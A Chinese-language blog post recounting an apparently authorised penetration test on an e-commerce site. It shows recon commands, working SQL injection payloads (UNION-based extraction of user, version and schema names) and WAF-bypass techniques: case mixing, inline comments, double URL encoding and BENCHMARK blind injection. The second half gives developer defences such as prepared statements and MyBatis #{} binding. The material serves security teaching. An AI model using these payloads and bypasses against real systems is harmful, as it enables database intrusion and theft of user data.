凌晨 2 点,我绕过 WAF 拿到了企业数据库权限:一次真实的 SQL 注入渗透经历
发现了 12 个子域名,其中几个比较敏感: - api.target.com —— 主 API 接口 - order.target.com —— 订单系统 - admin.target.com —— 后台管理 - test.target.com —— 测试环境(⚠️ 高危)今天,我想把这次经历的完整过程写下来,包括: - 我是怎么发现漏洞的 - WAF 为什么没拦住 - 开发最容易踩的 5 个坑
声明:本文记录的是一次授权的渗透测试经历,所有测试均在企业书面授权范围内进行。文中技术内容仅限学习和授权环境下使用,禁止用于非法目的。
开篇:一个不寻常的电话
凌晨 2:17,我的手机响了。
是老张,一家电商公司的技术负责人。他的声音有点抖:
“兄弟,出事了。对方发了勒索邮件,说我们数据库有漏洞,要 50 万封口费,不然就把用户数据全挂到网上。”
我打开电脑,对方已经留下了“证据”——一张用户表的截图,10 万 + 条数据,时间戳是当天晚上 11 点。
老张说:“我们装了 WAF,平时报警挺多的,以为很安全。没想到还是被进来了。”
我花了 3 个小时,找到了入口:一个不起眼的订单查询接口,存在 SQL 注入漏洞。
更离谱的是,这个接口没有经过 WAF 防护,用的是最基础的字符串拼接查询。
开发说:“我们以为有 WAF 就安全了。”
我告诉他:“WAF 不是万能的。真正的安全,得从代码开始。”
这一晚,我帮他们堵上了漏洞。但类似的故事,每天都在发生。
今天,我想把这次经历的完整过程写下来,包括: - 我是怎么发现漏洞的 - WAF 为什么没拦住 - 开发最容易踩的 5 个坑 - 怎么防御(给开发看的)
如果你也是安全从业者,或者想转行做安全,这篇文章应该能给你一些启发。
一、信息收集:从 0 到 1 找到入口
1.1 目标系统概况
这是一家中型电商公司,主要业务是: - B2C 商城(PC + 移动端) - 会员系统(约 50 万用户) - 订单管理系统 - 后台管理系统
技术栈: - 前端:Vue.js + Nginx - 后端:Java (Spring Boot) - 数据库:MySQL 5.7 - WAF:某品牌硬件 WAF
1.2 子域名枚举
首先,我用 subfinder 做了子域名枚举:
subfinder -d target.com -o subdomains.txt
发现了 12 个子域名,其中几个比较敏感: - api.target.com —— 主 API 接口 - order.target.com —— 订单系统 - admin.target.com —— 后台管理 - test.target.com —— 测试环境(⚠️ 高危)
关键发现:测试环境的 WAF 配置不完整,部分接口没有防护。
1.3 敏感目录扫描
用 dirsearch 扫描订单系统:
dirsearch -u https://order.target.com -e php,jsp,do,action
发现了一个可疑接口:
/order/queryOrder.action
参数是 orderId,看起来是查询订单详情的。
二、漏洞发现:这个接口为什么能注入?
2.1 初步测试
我试了几个基础 payload:
-- 正常请求
orderId=10001
-- 测试 1:单引号
orderId=10001'
页面报错:You have an error in your SQL syntax
-- 测试 2:逻辑判断
orderId=10001' OR '1'='1
返回了所有订单数据
-- 测试 3:联合查询
orderId=10001' UNION SELECT 1,2,3,4,5 --
页面显示了 5 个字段
确认:存在 SQL 注入漏洞,且是联合查询注入。
2.2 为什么 WAF 没拦住?
我检查了请求链路,发现:
- 测试环境未接入 WAF:test.target.com 没有经过 WAF 防护
- 接口直接暴露:订单查询接口可以直接通过 IP 访问
- 没有输入验证:orderId 参数没有做类型检查
开发说:“测试环境嘛,图方便就没接 WAF,反正不对外。”
但问题是:这个“不对外”的接口,被攻击者通过子域名枚举找到了。
2.3 数据库权限确认
我继续测试,确认能访问的权限范围:
-- 当前用户
' UNION SELECT 1,user(),3,4,5 --
结果:root@localhost
-- 数据库版本
' UNION SELECT 1,version(),3,4,5 --
结果:MySQL 5.7.32
-- 所有数据库
' UNION SELECT 1,schema_name,3,4,5 FROM information_schema.schemata --
结论:攻击者可以用 root 权限访问整个数据库,包括: - 用户表(含手机号、地址) - 订单表(含交易记录) - 管理员表(含后台账号)
三、WAF 规则分析与绕过思路
⚠️ 以下内容仅限学习和授权测试使用
3.1 WAF 规则分析
我测试了主环境的 WAF 规则,发现它主要拦截:
|
规则类型 |
拦截示例 |
|
关键词拦截 |
UNION SELECT、OR 1=1 |
|
注释符拦截 |
--、#、/**/ |
|
函数拦截 |
SLEEP()、BENCHMARK() |
|
编码检测 |
URL 编码、Base64 编码 |
3.2 绕过思路
思路 1:大小写混合
-- 被拦截
' UNION SELECT 1,2,3 --
-- 绕过
' UnIoN SeLeCt 1,2,3 --
思路 2:内联注释
-- 被拦截
' UNION SELECT 1,2,3 --
-- 绕过
' /*!50000UNION*/ /*!50000SELECT*/ 1,2,3 --
思路 3:编码绕过
-- URL 编码
%27%20UnIoN%20SeLeCt%201,2,3%20--
-- 双重 URL 编码
%2527%2520UnIoN%2520SeLeCt%25201,2,3%2520--
思路 4:时间盲注(当回显被过滤时)
-- 被拦截
' AND SLEEP(5) --
-- 绕过
' AND BENCHMARK(10000000,SHA1('test')) --
3.3 实际利用
在这个案例中,由于测试环境没有 WAF,我直接用了基础 payload 就完成了测试。
但如果是生产环境,我会: 1. 先用 sqlmap --tamper 测试绕过 2. 手动构造绕过 payload 3. 用时间盲注验证
四、拿到权限之后
4.1 数据影响评估
确认漏洞后,我做了影响评估:
|
数据类型 |
记录数 |
敏感程度 |
|
用户信息 |
52 万 |
�� 高(手机号、地址) |
|
订单记录 |
180 万 |
�� 中(交易金额) |
|
管理员账号 |
15 |
�� 高(后台权限) |
|
支付记录 |
90 万 |
�� 高(银行卡号) |
4.2 应急响应流程
- 立即修复:临时关闭订单查询接口
- 日志分析:排查是否有异常访问记录
- 全量扫描:检查其他接口是否存在类似问题
- 通知用户:向受影响用户发送安全提醒
- 报警备案:向网安部门报案
4.3 后续整改
企业花了 50 万做了以下整改: - 所有环境接入 WAF - 代码全面审计(发现 7 个高危漏洞) - 部署数据库审计系统 - 建立安全开发流程 - 全员安全培训
五、开发最容易踩的 5 个坑
坑 1:字符串拼接 SQL
// ❌ 危险写法
String sql = "SELECT * FROM orders WHERE orderId = " + orderId;
stmt.executeQuery(sql);
// ✅ 安全写法
String sql = "SELECT * FROM orders WHERE orderId = ?";
PreparedStatement pstmt = conn.prepareStatement(sql);
pstmt.setString(1, orderId);
坑 2:以为有 WAF 就安全
错误认知: > “我们装了 WAF,不用管代码安全了。”
现实: - WAF 规则可以被绕过 - 测试环境/内网环境可能没有 WAF - 0day 漏洞 WAF 拦不住
建议:WAF 是最后一道防线,不是唯一防线。
坑 3:ORM 框架不当使用
// ❌ MyBatis 中用 ${}(直接拼接)
@Select("SELECT * FROM orders WHERE orderId = ${orderId}")
// ✅ 用 #{}(预编译)
@Select("SELECT * FROM orders WHERE orderId = #{orderId}")
坑 4:错误信息泄露
// ❌ 直接把异常抛给用户
catch (SQLException e) {
e.printStackTrace();
response.getWriter().write(e.getMessage());
}
// ✅ 记录日志,返回友好提示
catch (SQLException e) {
log.error("数据库异常", e);
response.getWriter().write("系统繁忙,请稍后重试");
}
坑 5:输入验证不彻底
// ❌ 只验证非空
if (orderId != null) {
// 直接查询
}
// ✅ 验证类型 + 范围 + 归属
if (orderId != null && orderId.matches("^\\d+$")) {
Order order = orderRepository.findById(orderId);
if (order.getUserId().equals(currentUserId)) {
// 允许访问
}
}
六、给安全从业者的建议
6.1 如何提升自己的渗透能力
- 多打靶场:DVWA、Vulhub、PortSwigger
- 学习代码审计:理解漏洞原理,不只是会用工具
- 写技术博客:输出倒逼输入
- 参与 SRC:实战积累经验
6.2 怎么和开发沟通(不挨骂)
错误方式: > “你这个代码有漏洞,赶紧改!”
正确方式: > “这个接口存在 SQL 注入风险,我帮你改成了预编译,你看下这样行不行?”
核心:安全不是和开发对立,而是帮他们少背锅。
6.3 推荐学习资源
|
资源 |
链接 |
|
PortSwigger Web 安全学院 |
https://portswigger.net/web-security |
|
OWASP Top 10 |
https://owasp.org/www-project-top-ten/ |
|
安全指北针 CSDN |
https://blog.csdn.net/2401_89961451 |
七、防御方案:给开发的完整指南
7.1 代码层面
// 1. 使用预编译(PreparedStatement)
PreparedStatement pstmt = conn.prepareStatement("SELECT * FROM users WHERE id = ?");
pstmt.setInt(1, userId);
// 2. ORM 框架用参数化查询
@Select("SELECT * FROM users WHERE id = #{id}")
User findById(Long id);
// 3. 输入验证
if (!userId.matches("^\\d+$")) {
throw new IllegalArgumentException("Invalid user id");
}
7.2 架构层面
|
措施 |
说明 |
|
WAF 全量接入 |
所有环境(包括测试)都要接入 |
|
数据库权限最小化 |
应用账号不要用 root |
|
敏感数据加密 |
手机号、身份证、银行卡加密存储 |
|
日志审计 |
记录所有数据库操作 |
7.3 安全自查清单
开发上线前自查: - [ ] SQL 查询是否用了预编译 - [ ] 输入是否做了验证 - [ ] 错误信息是否脱敏 - [ ] 接口是否有权限控制 - [ ] 敏感数据是否加密
结语
这次应急响应,让我深刻体会到:
WAF 不是万能的,真正的安全得从代码开始。
很多企业花大价钱买安全设备,却忽略了最基础的代码安全。这就像买了最好的门锁,却把钥匙藏在门口地垫下。
作为安全从业者,我们的价值不只是挖漏洞,更是帮企业建立真正的安全能力。
�� 聊聊你的经历
你在渗透测试或应急响应中遇到过哪些印象深刻的案例?
或者,你是开发,有没有被安全团队“怼”过的经历?��
欢迎在评论区分享,我会尽量回复每一条评论!
�� 读者福利
我整理了 4 份网络安全学习资源,免费分享给大家:领取方式:在评论区留言「资料」,我会私信发给你下载链接!
更多推荐
所有评论(0)